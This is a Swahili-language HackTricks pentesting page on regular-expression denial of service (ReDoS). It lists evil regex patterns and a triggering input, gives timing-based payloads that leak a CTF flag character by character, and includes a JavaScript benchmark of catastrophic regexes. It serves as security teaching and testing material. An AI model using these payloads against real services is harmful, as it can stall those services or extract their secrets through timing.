hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md
2024-02-11 02:13:58 +00:00

6.5 KiB

Uharibifu wa Mfumo wa Kanuni ya Kawaida - ReDoS

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Uharibifu wa Mfumo wa Kanuni ya Kawaida (ReDoS)

Uharibifu wa Mfumo wa Kanuni ya Kawaida (ReDoS) hutokea wakati mtu anatumia udhaifu katika jinsi kanuni za kawaida (njia ya kutafuta na kulinganisha mifano katika maandishi) zinafanya kazi. Mara nyingi, wakati kanuni za kawaida zinapotumiwa, zinaweza kuwa polepole sana, hasa ikiwa kipande cha maandishi wanachofanya kazi nacho kinakuwa kikubwa. Uvivu huu unaweza kuwa mbaya sana hata kwa ongezeko dogo la ukubwa wa maandishi. Wadukuzi wanaweza kutumia tatizo hili kufanya programu inayotumia kanuni za kawaida isifanye kazi vizuri kwa muda mrefu.

Algorithm ya Kawaida ya Kanuni ya Kawaida Inayosababisha Tatizo

Angalia maelezo katika https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Kanuni za Uovu

Kanuni ya kawaida ya uovu ni ile inayoweza kukwama kwenye kuingiza kilichoundwa na kusababisha DoS. Kawaida, mifano ya kanuni ya uovu ina kikundi kinachorudiwa na kurudia au kubadilishana na kuvuka ndani ya kikundi kilichorudiwa. Baadhi ya mifano ya kanuni za uovu ni pamoja na:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} kwa x > 10

Zote hizo zina hatari kwa kuingiza aaaaaaaaaaaaaaaaaaaaaaaa!.

Malipo ya ReDoS

Uchunguzi wa Nakala kupitia ReDoS

Katika CTF (au bug bounty) labda unadhibiti Kanuni ya kawaida ambayo habari nyeti (bendera) inalingana nayo. Kwa hivyo, inaweza kuwa na manufaa kufanya ukurasa uweze kufungia (kutumia muda mrefu au muda mrefu zaidi) ikiwa Kanuni ya kawaida inalingana na sio kama haifanyi. Kwa njia hii utaweza kuchukua herufi kwa herufi:

  • Katika chapisho hili unaweza kupata sheria hii ya ReDoS: ^(?=<flag>)((.*)*)*salt$
  • Mfano: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • Katika chapisho hili unaweza kupata hii:<flag>(((((((.*)*)*)*)*)*)*)!
  • Katika chapisho hili alitumia: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

Udhibiti wa Kuingiza na Kanuni ya Kawaida ya ReDoS

Zifuatazo ni mifano ya ReDoS ambapo unadhibiti kuingiza na kanuni ya kawaida:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Vifaa

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: